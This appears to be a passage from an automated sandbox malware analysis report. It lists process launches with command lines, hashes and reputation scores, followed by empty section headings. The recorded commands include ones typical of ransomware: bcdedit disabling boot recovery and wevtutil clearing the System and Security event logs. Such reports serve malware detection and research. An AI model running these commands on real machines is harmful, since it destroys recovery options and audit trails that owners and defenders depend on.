Imagebase:	0x5b0000
File size:	295936 bytes
MD5 hash:	ABD373E82F6240031C1E631AA20711C7
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: bcdedit.exe PID: 3700 Parent PID: 3668

General

Start time:	21:38:56
Start date:	12/02/2018
Path:	C:\Windows\System32\bcdedit.exe
Wow64 process (32bit):	false
Commandline:	bcdedit /set {default} recoveryenabled no
Imagebase:	0xcf0000
File size:	295936 bytes
MD5 hash:	ABD373E82F6240031C1E631AA20711C7
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 3708 Parent PID: 3296

General

Start time:	21:38:57
Start date:	12/02/2018
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wevtutil.exe cl System
Imagebase:	0x4a640000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: wevtutil.exe PID: 3732 Parent PID: 3708

General

Start time:	21:38:58
Start date:	12/02/2018
Path:	C:\Windows\System32\wevtutil.exe
Wow64 process (32bit):	false
Commandline:	wevtutil.exe cl System
Imagebase:	0x100000
File size:	175616 bytes
MD5 hash:	81538B795F922B8DA6FD897EFB04B5EE
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exe PID: 3748 Parent PID: 3296

General

Start time:	21:38:59
Start date:	12/02/2018
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wevtutil.exe cl Security
Imagebase:	0x4a0d0000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: wevtutil.exe PID: 3772 Parent PID: 3748

General

Start time:	21:39:00
Start date:	12/02/2018
Path:	C:\Windows\System32\wevtutil.exe
Wow64 process (32bit):	false
Commandline:	wevtutil.exe cl Security
Imagebase:	0x4a0000
File size:	175616 bytes
MD5 hash:	81538B795F922B8DA6FD897EFB04B5EE
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: LogonUI.exe PID: 3840 Parent PID: 380

General

Start time:	21:39:04
Start date:	12/02/2018
Path:	C:\Windows\System32\LogonUI.exe
Wow64 process (32bit):	false
Commandline:	'LogonUI.exe' /flags:0x0
Imagebase:	0xcc0000
File size:	10752 bytes
MD5 hash:	3EF0D8AB08385AAB5802E773511A2E6A
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: LogonUI.exe PID: 3928 Parent PID: 332

General

Start time:	21:39:06
Start date:	12/02/2018
Path:	C:\Windows\System32\LogonUI.exe
Wow64 process (32bit):	false
Commandline:	unknown
Imagebase:	0xcc0000
File size:	10752 bytes
MD5 hash:	3EF0D8AB08385AAB5802E773511A2E6A
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Signature Overview

AV Detection:

Cryptography:

Spam, unwanted Advertisements and Ransom Demands:

Networking:

Stealing of Sensitive Information:

Persistence and Installation Behavior:

Data Obfuscation:

Spreading:

System Summary:

HIPS / PFW / Operating System Protection Evasion:

Anti Debugging:

Malware Analysis System Evasion:

Hooking and other Techniques for Hiding and Protection:

Language, Device and Operating System Detection:

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Domains

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Joe Sandbox View / Context

IPs

Domains

ASN

Dropped Files

Screenshot

Startup

Created / dropped Files

Contacted Domains/Contacted IPs

Contacted Domains

Contacted IPs

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: winlogon.exe PID: 3216 Parent PID: 2940

General